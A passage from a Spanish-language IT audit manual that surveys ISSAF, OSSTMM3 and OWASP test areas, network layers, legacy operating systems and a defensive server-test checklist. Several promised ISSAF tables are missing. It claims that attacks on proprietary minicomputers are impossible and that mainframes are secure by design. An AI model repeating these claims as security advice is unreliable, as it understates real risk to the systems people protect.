puede realizar y obtener a partir de herramientas tipo ETL y generadores
convencionales de informes o incluso a través de suite ofimáticas
convencionales.
Lo que nos importa de la Metodología OSSTMM 3 es que está orientada y fue
diseñada para sistemas de telecomunicaciones y que incluía por primera vez un
capítulo específico dedicado a Recursos Humanos como tales y es la primera
metodología que habla de un compliance en general. Por eso se ha incluido en
este manual de auditoria para no auditores.
Página 402 de 430

Capítulo 25.
Manos a la obra, la parte práctica.

Cómo se debe llevar a cabo para que sirva para lograr la certificación.
Tras haber nos concienciado de la importancia de la certificación, de sus
implicaciones: económicas, jurídicas y sociales ahora habiendo creando un clima
propicio, llega la fase de observación, recopilación de datos (siguiendo una
metodología) el análisis, los informes y la priorización de los diferentes hallazgos
de acuerdo al impacto, que suponen para cada uno de los niveles organizativos
que contempla dentro de si y esto depende del tipo de negocio, de su inter
relación con el medio incluyendo socios y clientes por la vía de los productos, los
servicios o un mix de ambos.
Dado que esta la parte de la Auditoria más próxima a la tecnología y dado que
todos los sistemas están obligados de forma táctica, a cumplir lo que las leyes
establecen y en caso de discrepancias a cumplir lo que se conoce: como
principios generales aceptados, será bueno al menos tener al menos una
referencia metodología que nos ayude como lo han hecho hasta ahora la ISO /
IEC 27007 y la OSSTMM3 en caso vamos a seguir lo señalado por un marco de
trabajo conocido como ISSAF.
Hay que tener en cuenta que si bien los entornos conocidos (veteranos) son los
que suelen ofrecer un menor número de hallazgos de alto riesgo, debido a la
propia trayectoria de los mismos y dado que las empresas, en su vertiente
tecnológica, tiende a ser conservadores por naturaleza y por fidelidad al principio
de “si funciona ¡¡ no lo toques !!” Lo primero que debemos disponer es un mapa
completo de sistemas con activos físicos y lógicos, valorados desde el punto de
vista del riesgo económico entendido como impacto y desde el punto de vista
legal repercusiones jurídicas y otras entiéndase reputación.
Dentro de ese mapa nuestro análisis debería centrarse en los sistemas más
expuestos, al intercambio de información mediante aplicaciones Web y que
utilizan Internet como canal de comunicación y difusión, por ello deberíamos
orientar nuestro conjunto de pruebas hacia la utilización de OWASP y OSSTMM3
como metodologías y como refuerzo de esto los siguientes epígrafes del manual
de ISSAF que exponemos a continuación:
Página 403 de 430

Como se puede observar y deducir hay una gran cantidad de pruebas a realizar
sin entrar el código de fuente de las aplicaciones, que como hemos señalado
utilizan Internet que deben ser tenidas en cuenta desde el inicio excluyendo el
código fuente, que tiene su propia parcela que abordaremos más adelante. Aquí
se hace un recordatorio a que previamente habremos detectado y verificado las
vulnerabilidades relacionadas con el Hardware y Software sobre él que se
apoyan estas aplicaciones. Pero antes debemos tener presente las siguientes
consideraciones como norma de carácter general.
Página 404 de 430

Hay que tener en cuenta que Microsoft por ejemplo ha abandonado la tecnología
de Internet Explorer, pero que algunas Webs aún son incompatibles con
Microsoft Edge©®, es seguro, que sólo aquellas que ofrezcan servicios de valor
añadido real para ambas partes Proveedores y Clientes migraran hacia la
compatibilidad con MS-Edge, aunque también hay que decir que Google con
Chrome©® y sus versiones derivadas como Opera, etc tienen cada día mayor
cuota de mercado en detrimento de Edge. En cuanto a los temas de correo
electrónico, muchas empresas han optado por Clientes de Correo Electrónico
ligeros, que no están vinculados a ninguna suite ofimática en particular, otra
cuestión son los sistemas de intercambios de mensajes multiformato donde
Exchange©® y Lotus Notes©® se disputan el mercado.
Una vez hemos tenido presente la parte expuesta de nuestra infraestructura cara
al público general (clientes potenciales) y clientes asiduos, nos queda la parte
relativa a proveedores en general y trabajadores temporales vinculados a la
empresa y que nos están incorporados físicamente en la estructura de la
empresa, pero que desempeñan funciones, a veces críticas, que se conectan
mediante diversas tecnologías de forma directa (VPN / WLAN) o indirecta con
mediación de un tercero (MAN / WAN) y que deben recibir el mismo trato de
análisis que un cliente potencial o un teletrabajador. Veamos que
recomendaciones debemos seguir para las tecnologías (VPN / WLAN) según
ISSAF.
En relación con la tecnología WLAN (Wireless Local Area Network WIFI)

recomendaciones que se formulan para valorar la seguridad de la infraestructura
serían las siguientes:
Página 405 de 430

Por supuesto esta enumeración de pruebas sigue siendo válida, aunque las
tecnologías hayan evolucionado puesto que mientras: los fabricantes proponen
el mercado; es quien acaba definiendo lo que se conoce como estándares de
facto, que no coinciden la mayoría de las veces, con los propuestos por los
fabricantes, ni por las instituciones oficiales.
Además, volvemos a recodar el principio conservador de ¡sí funciona no lo
toques! Por eso no es de extrañar que tecnologías consideradas <<obsoletas>>
estén aún presentes en pequeñas y medianas empresas, que no puede abordar
ni migraciones de hardware, ni de software y por supuesto de desarrollo a
medida, por la inversión y el riesgo que supone frente a infraestructuras físicas y
lógicas que ya conocen y dado que muchas de ellas, no quieren transferir a un
tercero su información, ni sus estructuras de gestión y de conocimiento, aun
siendo muy conscientes del riesgo que ello implica utilizando tecnología obsoleta
en determinados sectores y actividades. En la mayoría de las ocasiones optan
por un respaldo completo y un respaldo diferencial como mejor medida de
salvaguardia.
Abordemos ahora dos temas importantes además de la seguridad vinculada a
aplicaciones Web y conectividad con terceros vía Internet, hay otros dos
aspectos muy importantes a tener presentes, teniendo presente a los que ya no
sólo acceden y buscan descargar información y mensajes, si no los que además
deben depositar información; con lo que nos adentramos en la problemática de
los sistemas de almacenamiento en red (precursores de la actual Nube) y que
muchas empresas medianas, tienen como infraestructura física y lógica propia
denominados SAN y para los que ISSAF nos da las siguientes recomendaciones
a tener presente:
Página 406 de 430

Además debemos tener presente que los SAN deben tener una fuertes medidas
de cuarentena, para aquellas zonas donde los terceros, deban alojar
documentos y objetos de diversa naturaleza, dado que pueden existir ataques
del tipo caballo de Troya, que pueden ser construidos por partes y enviados para
ser ensamblados de forma silenciosa en destino final, para crear un backdoor
por donde acceder y robar información valiosa, o como un punto de asalto desde
donde poder explorar otras zonas con información más valiosa, por ello debemos
tener presente las estrategias relativas a los antivirus que son las siguientes:
En este conjunto de pruebas es donde, pueden aparecer más falsos positivos

debido a que los motores de los antivirus como los motores de los IDS, necesitan
tiempo para obtener información relevante sobre el comportamiento de ciertos
objetos, que muchas veces pueden ser interpretados como código malicioso sin
llegar a serlo.
En cuanto a los IDS / IPS ISSAF señala como pruebas guía las siguientes:
Hay que señalar que estos patrones aplicados a Clientes asiduos, proveedores
y teletrabajadores no excluyen para nada que se apliquen a los trabajadores
internos / personal externos en régimen de prestación de servicios, siempre y
cuando para estos se añada reingeniería social.
Página 407 de 430

Se debe tener muy presente que además del mantenimiento habitual o rutinario
es necesario el compartir información que alimente y genere nuevos modelos de
comportamientos sospechosos o anómalos, pues mientras se hace un enorme
esfuerzo por atajar / bloquear / paralizar o cuarentinizar los ataques externos, los
ataques internos pueden ser tan dañinos o más que los externos, por realizarse
de forma silenciosa y porque un ataque externo es muy improbable que no
fructifique por sí mismo, sin fuentes que nos faciliten pistas o indicios.
Según el FBI el 80% de los delitos tecnológicos tienen una componente interna
necesaria y sino véase el caso WikiLeaks, así como el caso de Snowden que
demostraron a todas luces el peligro que supone, el no detectar a tiempo
comportamientos sospechosos o anómalos, como la falta de medidas de
custodia y cifrado para datos especialmente sensibles, con lo que ello supone.
Aquí cabría añadir además de lo señalado para IPS / IDS y la tecnología
Antivirus, hay una nueva tecnología importante como es la DLP Data Loose
Prevention cuya definición es la siguiente:
La prevención de pérdida de datos (DLP) es una estrategia para asegurarse de
que los usuarios finales no envían información sensible o crítica fuera de la red
corporativa. El término también se utiliza para describir productos de software
que ayudan a un administrador de red a controlar qué datos pueden transferir los
usuarios finales. La adopción de DLP, también llamada prevención de fuga de
datos, prevención de pérdida de información o prevención de extrusiones, está
siendo impulsada por amenazas internas y por leyes estatales de privacidad más
rigurosas, muchas de las cuales tienen estrictos componentes de protección de
datos o de acceso.
Los productos de software de DLP utilizan reglas de negocio para examinar el

contenido de los archivos y etiquetar la información confidencial y crítica, para
que los usuarios no pueden divulgarla. El software puede ser útil para identificar
y etiquetar contenido bien definido (como los números de Seguro Social o de
tarjetas de crédito), pero tiende a quedarse corto cuando un administrador está
tratando de identificar otros datos sensibles, tales como los de propiedad
intelectual. Para implementar con éxito el software DLP corporativo, se necesita
involucrar activamente a personal de todos los niveles de gestión en la creación
de las reglas de negocio para las etiquetas.
Una vez que las herramientas de software DLP han sido implementadas, un
usuario final que intente, de manera accidental o malintencionada, revelar
información confidencial que ha sido etiquetada, será repudiado. Además de ser
capaces de monitorear y controlar las actividades de punto final, las
herramientas de DLP también pueden ser utilizadas para filtrar flujos de datos en
la red corporativa y proteger los datos en reposo.
Extraído de TechTarget en DataCenter Search en español cuya autora es Margaret Rouse de

WhatIS.com.
Página 408 de 430

A esto debemos añadir como complemento para ser rigurosos toda la parte de
pruebas de Código Fuente, pues en muchos casos es lo que recibimos de
teletrabajadores o administradores de sistemas en remoto, que necesita ser
verificado antes de ser transferido desde la zona de cuarentena, allí donde tenga
que ser aplicado (ejecución de script) bien integrado en algún componente de
mayor envergadura. La propuesta de ISSAF para esta sección en particular es
la siguiente:
Esto siempre y cuando estemos hablando de ficheros convencionales

excluyendo cualquier formato de base de datos, si hay bases de datos entonces
a estas pruebas habrá de añadirse las siguientes, teniendo en cuenta que las
que se citan y estamos hablando de una metodología formulada en 2006 y
estamos en 2017 han evolucionado de forma notable y han aparecido una nueva
familia de base de datos, la no orientadas a SQL, con lo cual estas reglas, no se
aplicables a estas últimas, veamos las reglas propuestas a manera de referencia
que debe adaptarse a cada versión posterior a 2006.
A esto debemos añadir lo señalado para el código fuente y añadir todo lo relativo
a pruebas de inyección SQL, no sólo se deben tener presentes para los ataques
externos, dado que el número de barreras que deben sobrepasarse es
importante al menos: un firewall, un IDS/IPS, y por supuesto el sistema de
seguridad del propio motor de la Base de Datos, en la mayoría de las
organizaciones los usuarios internos sólo han de sortear el sistema de seguridad
Página 409 de 430

del motor de la Base de Datos y los Derechos de Acceso a las unidades de red
que contienen permisos específicos para acceder al mismo, al motor de la Base
de Datos, en algunas organizaciones además de estos los derechos de acceso
a dicho motor y otros recursos críticos se gestionan a través de las VLANs y los
Switches e incluso con sistemas de gestión de identidades que pueden incluir
datos biométricos.
Para concluir con la parte de gestión de la seguridad relacionada con terceros
ya sean Clientes asiduos, Proveedores o Teletrabajadores nos resta hablar de
las reglas de pruebas que debería seguirse además de las ya citadas que
comprenden los siguientes elementos:
Todos sin excepciones han de pasar en algún momento por este dispositivo, que
ha evolucionado llegando a fusionarse en la actualidad con el firewall, por lo que
las reglas anteriores más las propias del firewall, pueden en la actualidad
considerarse un conjunto único Router-Firewall y en un futuro próximo es posible
mediante la evolución de las actuales soluciones de virtualización, añadir incluso
un tercer grupo de funcionalidades, que ya hemos mencionado que son las
relativas a los IDS / IPS pero sin IA siendo esto una función privativa de las Comentado [P1]: Inteligencia Artificial
herramientas SEM / SIEM ya que requiere alta capacidad de proceso y gestionar
con fluidez grandes volúmenes de E/S. Veamos las reglas propuestas para el
Firewall.
Hay que señalar que al menos que además del Firewall como dispositivo físico
de comunicaciones, hay una tendencia natural a transformarlo en un rol de una
Página 410 de 430
maquina dedicada a funciones de seguridad avanzada, como fuente de datos de

la maquina o maquinas que soportan la función SEM/SIEM a veces incluso
previa la transferencia de datos a las maquinas SEM/SIEM se emplean maquinas
virtualizadas o físicas que ejecutan funciones de análisis de tipo BIG DATA, para
muy altos volúmenes transaccionales. Siempre debemos tener presente que
nuestra infraestructura física y lógica deben de operar con el mismo número de
medidas de seguridad tanto hacia el ámbito externo como interno para garantizar
una aplicación de las dimensiones relativas a la Seguridad de la Información
según la presente ilustración.
Para completar toda la temática de las redes, hablaremos de los Switches dado
que, en los últimos tiempos, han pasado de ser simples conmutadores de puertos
y tramas a convertirse en un elemento de la seguridad activa-pasiva de la red.
La evolución de Switches 3Com Networks, HP en la actualidad y Cisco han
jugado un papel trascendente, al crear estándares de seguridad que operan en
el nivel 2 y 3 creando un modelo funcional de tres niveles, ahí la importancia de
gestionar y garantizar correctamente que quien se conecte físicamente a la red
este donde este, y sí se trata de un intruso, sea detectado lo antes posible.
Según el fabricante de Hardware y Software de Networking Cisco toda red se
puede ver como una prolongación de la propia organización hacia las
organizaciones de los Clientes, Socios y Proveedores mediante redes
convergentes, lo que supone mayores compromisos al compartir, no sólo
estructura, sino información sensible de ahí la importancia de la monitorización.
Cisco establece tres capas que son las siguientes y desarrollan estas funciones:
Capa de acceso
La capa de acceso de la red es el punto en el que cada usuario se conecta a la
red. Ésta es la razón por la cual la capa de acceso se denomina a veces capa
de puesto de trabajo, capa de escritorio o de usuario. Los usuarios, así como los
Página 411 de 430

recursos a los que estos necesitan acceder con más frecuencia, están
disponibles a nivel local. El tráfico hacia y desde recursos locales está confinado
entre los recursos, switches y usuarios finales. En la capa de acceso podemos
encontrar múltiples grupos de usuarios con sus correspondientes recursos. En
muchas redes no es posible proporcionar a los usuarios un acceso local a todos
los servicios, como archivos de bases de datos, almacenamiento centralizado o
acceso telefónico al Web. En estos casos, el tráfico de usuarios que demandan
estos servicios se desvía a la siguiente capa del modelo: la capa de distribución.
Capa de distribución
La capa de distribución marca el punto medio entre la capa de acceso y los
servicios principales de la red. La función primordial de esta capa es realizar
funciones tales como enrutamiento, filtrado y acceso a WAN.
En un entorno de campus, la capa de distribución abarca una gran diversidad de
funciones, entre las que figuran las siguientes:
• Servir como punto de concentración para acceder a los dispositivos de capa de
acceso.
• Enrutar el tráfico para proporcionar acceso a los departamentos o grupos de
trabajo.
• Segmentar la red en múltiples dominios de difusión / multidifusión.
• Traducir los diálogos entre diferentes tipos de medios, como Token Ring y
Ethernet
• Proporcionar servicios de seguridad y filtrado.
La capa de distribución puede resumirse como la capa que proporciona una
conectividad basada en una determinada política, dado que determina cuándo y
cómo los paquetes pueden acceder a los servicios principales de la red. La capa
de distribución determina la forma más rápida para que la petición de un usuario
(como un acceso al servidor de archivos) pueda ser remitida al servidor. Una vez
que la capa de distribución ha elegido la ruta, envía la petición a la capa de
núcleo. La capa de núcleo podrá entonces transportar la petición al servicio
apropiado.
Capa de Núcleo
La capa del núcleo, principal o Core se encarga de desviar el tráfico lo más
rápidamente posible hacia los servicios apropiados. Normalmente, el tráfico
transportado se dirige o proviene de servicios comunes a todos los usuarios.
Estos servicios se conocen como servicios globales o corporativos. Algunos de
tales servicios pueden ser e-mail, el acceso a Internet o la videoconferencia.
Cuando un usuario necesita acceder a un servicio corporativo, la petición se
procesa al nivel de la capa de distribución. El dispositivo de la capa de
distribución envía la petición del usuario al núcleo. Este se limita a proporcionar
un transporte rápido hasta el servicio corporativo solicitado. El dispositivo de la
Página 412 de 430

capa de distribución se encarga de proporcionar un acceso controlado a la capa

de núcleo.
Como es lógico tanto: la capa de acceso, como la capa de distribución, debe
contar con fuertes medidas de protección: tanto lógica, detección y alarma a los
administradores de redes, como de seguridad física videovigilancia y control de
accesos. La ISSAF nos recomienda respecto a los switches tener presente las
siguientes medidas:
Ahora vamos a tratar un elemento que en los últimos 20 años de historia de la

informática ha evolucionado, quizás de forma más espectacular, gracias al
desarrollo de los PCs de altas prestaciones las redes locales. Durante muchos
años las pequeñas y medianas empresas realizaban sus gestiones gracias a las
LANs, dado que eran muy pocas las empresas que podían acceder a adquirir un
Miniordenador y menos un Mainframe. Cuando las redes locales empezaron
hubo desde el principio dos grandes fabricantes de sistemas operativos de red y
muchas intentonas que fracasaron, pero que no por ello deben ser olvidadas.
Por ejemplo, IBM creo su propio sistema operativo conocido como OS/2
juntamente con 3Com Networks, y Microsoft, pero no fraguo debido a que IBM
sólo estaba interesada en proteger sus mainframes de la tendencia del”
Downsize”, ya que el Mainframe se convertía en un simplemente en un elemento
de almacenamiento NAS / SAN.
Página 413 de 430

Por otra parte, Digital Equipment Corporation, desarrollo una parte de su

arquitectura de red DecNet©® que permitía el uso de PCs con CPM (Digital
Research), con MS-DOS (Microsoft), con Xenix también de Microsoft, en muchos
sentidos precursor del actual Linux. 3Com Networks decidió abandonar a IBM y
a su proyecto OS/2 y aliarse con Microsoft vía LAN- Manager lo que dio lugar a
3+Open que además incluía soporte para Apple Macintosh, esto permitió a
Microsoft no sólo tener el monopolio de los sistemas operativos de PCs, si no el
principio para ampliar y mejorar y desarrollar desde LAN-Manager y sus
siguientes versiones de sistemas operativos de red los Windows Server actuales
en sus sucesivas versiones.
Mientras surgió un compañía denominada Novell que diseño e implanto con éxito
el primer NOS-LAN real que fue Novell-Netware©® que aún continua operativo
en determinadas empresas y ámbitos de trabajo que no requieren interface
gráfico, que permitía compartir archivos e impresoras mediante una regulación
de derechos muy similar a la de Unix y que tuvo una gran aceptación entre las
pequeñas y medianas empresas, convirtiéndose junto con LAN-Manager primero
y Windows Server después en el estándar de las arquitecturas de red, en la
actualidad las redes empresariales se reparten entre Microsoft y sus versión
Windows Server y las diferentes versiones de Linux. 3Com fue adquirida por HP
al igual que ocurrió con DEC y Compaq.
Novell-Netware dejo el mundo de las redes locales compatibles con clientes
Microsoft para situarse en una posición más próxima al mundo Unix creando
Unixware©® la evolución desde Netware©® pero orientada a crear entornos
Unix distribuidos, y luego creo sus propias versiones de Linux tanto para Clientes
como para Servidores conocidas como OpenSuse©® que continúan
desarrollándose y que tienen su propio público. ISSAF nos da estas pautas para
los entornos Novell- Netware.
Debe entenderse que cuando se refiere a Linux estamos hablando siempre de

las versiones Servidor dado que los Clientes (Estaciones) tanto en Linux como
en Windows, tienen sus propias técnicas de protección que se conocen como
bastionado Cliente y bastionado Server y que evolucionan, casi a la par que las
versiones de los sistemas operativos Clientes, sobre las que se aplican. En lo
referente a Windows Server ISSAF señala:
Página 414 de 430

Hay que señalar que se debe tener presente que Windows Server y sus Clientes
W7, W8, W10 incorporan sus propios firewalls que deben disponer de reglas
complementarias a las reglas implantadas en los firewalls de Red y los IDS / IPS
si existen en la Red, en cuanto Novell-Netware©®
Al final de este mismo capítulo veremos un esquema gráfico que nos ayudará a
comprender mejor los diferentes de niveles de seguridad donde realizar pruebas
significativas, cómo nos ayuden a descubrir vulnerabilidades, tanto externas
como internas, a las que habremos de hacer frente mediante un plan de acción
especifico, para erradicarlas si es posible, mitigar las si la erradicación no es
posible, antes del siguiente ciclo de Auditoria Interna / Externa.
Al igual que hemos hablado de Novell-Netware©® y teniendo en cuenta que
estamos trabajando con una metodología del año 2006 también hay un capítulo
dedicado a los Miniordenadores, muchas empresas además de sus redes
locales decidieron adquirir o alquilar Miniordenadores para determinado tipo de
trabajos, en España proliferaron mucho un tipo de Miniordenador de IBM
denominado AS400 que tanto en España como en otros muchos países del Este
de Europa se continua utilizando y también ISSAF nos da pautas respecto a este
entorno de forma orientativa siempre.
Página 415 de 430

Como se puede observar puede observar el número de pruebas que requiere

este entorno es elevado, pero también presenta una ventaja y es que al tratarse
de Hardware cuya evolución es casi inexistente y su Software estar diseñado de
manera expresa para él mismo, requiere mínimas revisiones durante largos
periodos de tiempo, un intervalo considerado como valido para este tipo de
entorno podría ser entorno a los 5 años. Lo mismo es aplicable a los Digitial-
Vax/PDPs, los HP-MPV, etc…y casi cualquier ordenador cuya arquitectura
responda a la denominación de arquitectura propietaria. La probabilidad de un
ataque es inexistente dado que es imposible replicar su estructura física y lógica,
salvo que se simule y ello requiere conocimientos profundos que salvo el propio
constructor nadie posee.
Y para concluir claro esta hay que hablar de los Mainframe, Hosts los
monstruosos sagrados de muchas organizaciones que siguen estando presente
dado que su arquitectura propietaria como ocurre con los Miniordenadores es
axioma de seguridad garantizada. Hablamos de los IBM, Fujitsu, NEC, Sun
Microsystems, Sillicom Graphcis, Hitachi, Cray y otros muchos que construyeron
y diseñaron con propósitos específicos. Para este tipo de arquitectura bastaría
con seguir las pautas de seguridad indicadas por el fabricante.
Vamos a tratar ahora de sí de explicar mediante un gráfico este conglomerado
de pruebas que hemos de hacer desde el punto de vista de evaluar de forma
ortodoxa todos los niveles de seguridad que existen en nuestra organización
para saber dónde tenemos que focalizar nuestros esfuerzos.
Página 416 de 430

Servidores Web hhtp /https

Servidores IMAP / POP
WINDOWS Servidores DHCP
LINUX Servidores DNS
MAC Servidores FTP
Servidores Aplicaciones
Servidores Impresoras
Servidores Backup / Restore
Servidores VPN
Servidores
ANDROID Windows
Mac OS Linux
Windows Netware
Servidor AS400
Windows Móvil ROUTER

Android FIREWALL
IOS Mac IDS / IPS
SEM/SIEM
Servidor Z
Servidores NEC Hitachi
Cray- SGI- Sun Microsystems
HP- DEC – Fujitsu···
Windows
Linux
MacOS
Los terminales del lado izquierdo representan todos los SO conocidos y posibles
en el año 2017 y en el lado derecho tenemos todos los posibles entornos con los
que estos usuarios se pueden comunicar de forma continua o esporádica. Aun
reconociendo que es una representación muy simplificada de un entorno muy
complejo, en este caso, circunscrito a sistemas de gestión puesto que aquí no
estamos incluyendo el Internet de la cosas o IoT, es posible tomar el control de
los Servidores de Windows Linux y Netware y desde ahí acceder a otras
plataformas por lo que se ha de ser muy sistemático en la exploración de la
Seguridad de los Servidores mediante una serie de pruebas que se han de
desarrollar en un entorno separado del entorno real, con datos generados o
datos reales anonimizados por cumplimiento legal, y estas pruebas deben
verificar lo siguiente: Que actuando como un atacante externo, como si se tratará
de un atacante interno:
1. No es posible acceder a ninguno de los servidores de la empresa, sino
es mediante protocolo seguro y que el acceso es a zonas de información
pública o de solicitud de información. Solo se permite la consulta o
descarga. No es posible enviar ficheros.
2. Que no es posible mantener la conexión abierta más 120 segundos, si no
se es: Teletrabajador, Proveedor, o Cliente asiduo, es decir usuario
registrado, que no es posible acceder mediante el uso de protocolos
inseguros tales como: TELNET, que no se puede acceder de forma
tampoco vía Web, si no es mediante protocolo seguros como HTTPS:// o
TLS.
3. Que no es posible acceder más que a las zonas de red y aplicaciones
autorizadas.
Página 417 de 430

4. Que no es posible instalar ningún tipo de software desde nuestro terminal

en el servidor, ni vía FTP / TFTP.
5. Que las contraseñas, cumplen los patrones de complejidad (solidez) y
tienen un ciclo de vida debidamente definido.
6. Que las contraseñas de los Administradores no responden a los patrones
conocidos y habituales, que se publican anualmente en Internet.
7. Que ni los usuarios externos autorizados, ni los internos, pueden adquirir
privilegios distintos de los establecidos y aprobados con carácter anual.
8. Que las cuentas de usuarios externos e internos se mantienen
debidamente actualizadas alta, bajas y modificaciones de puestos que
deben estar reflejados en los logs del sistema.
9. Que tanto Seguridad Física, como Seguridad Informática, el Área Jurídica
y Recursos Humanos están debidamente sincronizados mediante Fax o
por Correo Electrónico.
10. Que todos estos cambios están informados, no sólo los responsables de
las áreas ya citadas, sino los responsables directos de las áreas donde el
personal va a trabajar con independencia de la forma jurídica que se vaya
a utilizar.
11. Muy importante para todas las áreas implicadas en el control de accesos
físicos y lógicos, deben recibir y estar definido por escrito y de manera
vinculante que se autoriza: la monitorización del puesto de trabajo, esto
es: el uso del correo de la empresa, la descarga y subida de informaciones
de cualquier clase o tipo, la impresión de documentos y digitalización de
los mismos, que se verificará tanto la entrada, como a la salida cualquier
información impresa que entre o salga de la empresa, por parte del
personal de seguridad física y de control de acceso, que dichas
informaciones, si son de salida deben ser autorizadas por el responsable
de área, si es de entrada se consultará quien fue el solicitante, el motivo
y se tiene conocimiento de este hecho.
12. Queda prohibido la entrada de pen drives, discos duros externos,
grabadores de DVD / BR externos, siguiendo la misma pauta que la
señalada en el punto 11.
13. Que todo el personal conoce que el incumplimiento de estas normas
conlleva sanciones administrativas, económicas e incluso penales si
hubiere lugar.
Cada una de estas pruebas debe realizarse tanto con una serie clientes
externos, como internos desde puestos trabajos habituales. Lo más
importante es verificar la imposibilidad de escalar privilegios, introducir
cambios no autorizados, hacer uso y abuso de recursos por ejemplo
impresiones de gran volumen, verificar el control de accesos a los servidores
FTP como patrones básicos.
Hay que tener siempre en cuenta que todo el entorno del Cliente debe estar
definido desde el entorno servidor y que sólo se puede modificar desde el
servidor siempre y cuando se tengan los permisos necesarios y debidamente
autorizados por quienes o quienes tenga poder organizativo para hacerlo.
Página 418 de 430

Capítulo 26.
Como realizar una investigación técnica de calidad.

Aunque a estas alturas, a Ustedes le pueda parecer que somos reiterativos
hasta la saciedad, “los malos” estudian y son chicos muy aplicados y al igual
que ocurren con todos los sistemas multi parte / multi capa / multi componente
en muchos casos, el orden de las cosas, si pueden alterar el producto, dado
que es imposible armonizar todos los productos que configuran un servicio y
prueba de ello son las estadísticas.
Itil ©® que es una metodología orientada a la gestión de servicios de entornos
complejos, de ella hemos hablado puesto que se basa en la norma ISO 20000
y la complementa y mejora, atribuye una gran cantidad de fallas del Hardware
al error Humano y por ello a errores en la configuración del Software y su
traslación al Hardware, en todo y cada uno de los diferentes niveles que
componen un sistema. Si utilizamos una metodología llamada COSO cuya es
estructura y objetivos son los siguientes según muestra la siguiente
ilustración.
Es obvio que como sistema y teoría está muy bien desarrollado e implantado
cuando se trata de sistemas informáticos, existe un componente complejo
llamado entropía, que tiende a desordenar todo. Veamos en que consiste para
comprender mejor como opera.
El concepto básico de entropía en teoría de la información tiene mucho que
ver con la incertidumbre que existe en cualquier experimento o señal
aleatoria. Es también la cantidad de «ruido» o «desorden» que contiene o
libera un sistema. De esta forma, podremos hablar de la cantidad de
información que lleva una señal.
Página 419 de 430
Como ejemplo, consideremos algún texto escrito en español, codificado como

una cadena de letras, espacios y signos de puntuación (nuestra señal será
una cadena de caracteres). Ya que, estadísticamente, algunos caracteres no
son muy comunes (por ejemplo, «w»), mientras otros sí lo son (como la «a»),
la cadena de caracteres no será tan "aleatoria" como podría llegar a ser.
Obviamente, no podemos predecir con exactitud cuál será el siguiente
carácter en la cadena, y eso la haría aparentemente aleatoria. Pero es la
entropía la encargada de medir precisamente esa aleatoriedad, y fue
presentada por Shannon en su artículo de 1948, A Mathematical Theory of
Communication ("Una teoría matemática de la comunicación", en inglés).
Shannon ofrece una definición de entropía que satisface las siguientes
afirmaciones:
 La medida de información debe ser proporcional (lineal continua). Es decir,

el cambio pequeño en una de las probabilidades de aparición de uno de los
elementos de la señal debe cambiar poco la entropía.
 Si todos los elementos de la señal son equiprobables (igual de probables) a
la hora de aparecer, entonces la entropía será máxima.
Ejemplos de máxima entropía: Suponiendo que estamos a la espera de un
texto, por ejemplo, un cable con un mensaje. En dicho cable solo se reciben
las letras en minúscula de la a hasta la z, entonces si el mensaje que nos
llega es "qalmnbphijcdgketrsfuvxyzwño" el cual posee una longitud de 27
caracteres, se puede decir que este mensaje llega a nosotros con la máxima
entropía (o desorden posible); ya que es poco probable que se pueda
pronosticar la entrada de caracteres, pues estos no se repiten ni están
ordenados en una forma predecible.
Una vez hemos hablado de la entropía veamos como fluye a lo largo de toda
y cada una de las capas que componen un sistema de información.
Capa Sistema Operativo
Capa Sistema Operativo Local
Local
Firewall-Local / Antivirus
Firewall-Local / Antivirus
Local
Local
VULNERABILIDADES DE S.O.R./S.O.L / PRODUCTOS INTERMEDIOS / CODIGOS POLIMORFICOS
VULNERABILIDADES S.O.R / S.O.L. / PRODUCTOS INTERMEDIOS / CODIGOS POLIMORFICOS
Aplicaciones Autorizadas
Aplicaciones Autorizadas
CONVERSION A/D, RESAMBLAJE, VERIFICACION-NUMERACION- DESCIFRADO
Servidores de Aplicaciones
DATOS,- CIFRADO, NUMERACIÓN, SEGMENTACIÓN, CONVERSION D/A
Servidores de Aplicaciones
Internet / Extranet Internet / Extranet
Capa de Seguridad Código Capa de Seguridad Código
Capa de Seguridad de Datos Capa de Seguridad de Datos
Capa de Seguridad Servicios Capa de Seguridad Servicios
Capa Sistema Operativo Red Capa Sistema Operativo Red

Identificación / Autenticación Identificación / Autenticación
Control de Dominio Control de Dominio
-y- -y-
Relaciones de Confianza Relaciones de Confianza
Capa de Seguridad Capa de Seguridad

Router-Firewall-IDS / IPS Router-Firewall-IDS / IPS
Switches Switches
Antivirus Antivirus
Capa de Comunicaciones Capa de Comunicaciones Capa de Comunicaciones

DATOS DATOS
Wan-VPNs-LANs Wan-VPNs-LANs Wan-VPNs-LANs
Entropía en entornos de datos.
Página 420 de 430

Cada cuadro representa un conjunto de procesos que desarrollan en un entorno

particular, por ejemplo, cada capa tiene su propio sistema de gobierno que puede
ser un sistema operativo de red (recibe o transfiere información entre dos
sistemas local o remotos) utilizando un conjunto de reglas únicas, que permiten
que dos sistemas operativos distintos, compartan información mediante
procesos (aplicaciones). Ahora bien, para que esto sea posible además de los
sistemas operativos de red, necesitamos dos sistemas operativos locales, y un
conjunto de otros programas intermedios que hacen que los usuarios de los dos
puntos que comparten una información y la puedan transforman. Bien esos
programas intermedios incluyendo los sistemas operativos locales de los dos
sistemas participantes, pueden presentar fallos de seguridad, que permitan a un
tercer acceder a la información y manipular e incluso hacerse con el control de
uno de los sistemas remotos.
Esos fallos de seguridad son lo que se conoce como Vulnerabilidades, y se
clasifican en las siguientes categorías:
De hardware: Vulnerabilidades de hardware tienen que ver son los dispositivos
y equipos. En este caso son consideraciones no tomadas en cuenta para el buen
funcionamiento de los mismos, por ejemplo; no darle mantenimiento constante
al hardware, no verificar que el equipo que se compra cuente con los
requerimientos necesarios, entre otros.
De software: Las fallas en los sistemas o debilidades en los programas
instalados son ejemplos de este tipo de vulnerabilidades. Como su nombre lo
dice, se refiere a aquellas relacionadas con el software como errores de
programación, o que los protocolos de comunicación carezcan de seguridad.
De red: Son todas aquellas vulnerabilidades existentes en la conexión de
equipos, por ejemplo: si no existe un control que permita limitar el acceso, se
puede penetrar al sistema por medio de la red. También abarca las fallas en la
estructura del cableado y el no seguir los estándares recomendados para
realizarlo.
Humana: Del mismo modo que las amenazas humanas, las vulnerabilidades
tienen que ver con las acciones de las personas, por ejemplo: ser vulnerable a
la ingeniería social, no capacitar al personal como se debe, colocar contraseñas
en lugares visibles, entre otras.
Cada vez que se encuentra una de estas vulnerabilidades, debe estudiarse en
profundidad lo que supone tener un conocimiento preciso de los siguientes
aspectos que anunciamos a continuación:
Fabricante:
Productos:
Gravedad:
Versión: Servidor / Cliente / Nro. de Versión.
Fechas de publicación:
Página 421 de 430
Esta información es de suma importancia tanto: en la primera evaluación de

